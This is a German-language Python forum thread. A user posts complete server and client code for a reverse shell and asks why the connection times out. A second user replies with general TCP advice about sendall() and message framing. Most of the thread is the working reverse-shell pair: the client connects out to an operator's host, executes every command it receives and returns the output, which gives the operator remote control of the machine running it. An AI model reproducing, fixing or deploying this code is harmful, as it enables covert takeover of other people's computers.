Reverse Shell Verbindung war fehlerhaft

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Antworten
K3kscookie
User
Beiträge: 1
Registriert: Mittwoch 9. März 2022, 20:06

Das ist der Fehler:
TimeoutError: [WinError 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat.
server.py

Code: Alles auswählen

  from http import client
import socket
from tkinter import SEPARATOR

SERVER_HOST = "0.0.0.0"
SERVER_PORT = 8000
BUFFER_SIZE = 1024 * 128

SEPARATOR = "<sep>"

s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)
while True:
    
    command = input(f"{cwd} $> ")
    if not command.strip():
        
        continue
    
    client_socket.send(command.encode())
    if command.lower() == "exit":
      
        break
    
    output = client_socket.recv(BUFFER_SIZE).decode()
    print("output:", output)
    
    results, cwd = output.split(SEPARATOR)
    
    print(results)

client_socket.close()

s.close()


  
client.py

Code: Alles auswählen

import socket
import os
import subprocess
import sys

SERVER_HOST = sys.argv[1]
SERVER_PORT = 8000
BUFFER_SIZE = 1024 * 128 
SEPARATOR = "<sep>"


s = socket.socket()

s.connect((SERVER_HOST, SERVER_PORT))

cwd = os.getcwd()
s.send(cwd.encode())

while True:
   
    command = s.recv(BUFFER_SIZE).decode()
    splited_command = command.split()
    if command.lower() == "exit":
        
        break
    if splited_command[0].lower() == "cd":
       
        try:
            os.chdir(' '.join(splited_command[1:]))
        except FileNotFoundError as e:
            
            output = str(e)
        else:
            
            output = ""
    else:
        
        output = subprocess.getoutput(command)
    
    cwd = os.getcwd()
   
    message = f"{output}{SEPARATOR}{cwd}"
    s.send(message.encode())

s.close()

Benutzeravatar
__blackjack__
User
Beiträge: 13068
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

@K3kscookie: Die üblichen Grundfehler: `send()` sendet nicht garantiert alles. Verwende `sendall()`.

Und auf der anderen Seite kann `recv()` im Extremfall auch jedes Byte einzeln liefern, ganz unabhängig davon welche Bytes zusammen auf die Reise geschickt wurden. TCP ist ein Datenstrom und kennt keine Nachrichten(grenzen). Dafür muss man selber sorgen. Zum Beispiel in dem man am Anfang die Anzahl der Bytes der Nachricht mit einer festen Anzahl an Bytes kodiert, oder jede Nachricht mit einer Endkennung versieht, die garantiert nicht *in* einer Nachricht vorkommen können. Und der Empfangscode muss dann entsprechend solange lesen bis mindestens eine vollständige Nachricht angekommen ist.
„All religions are the same: religion is basically guilt, with different holidays.” — Cathy Ladman
Antworten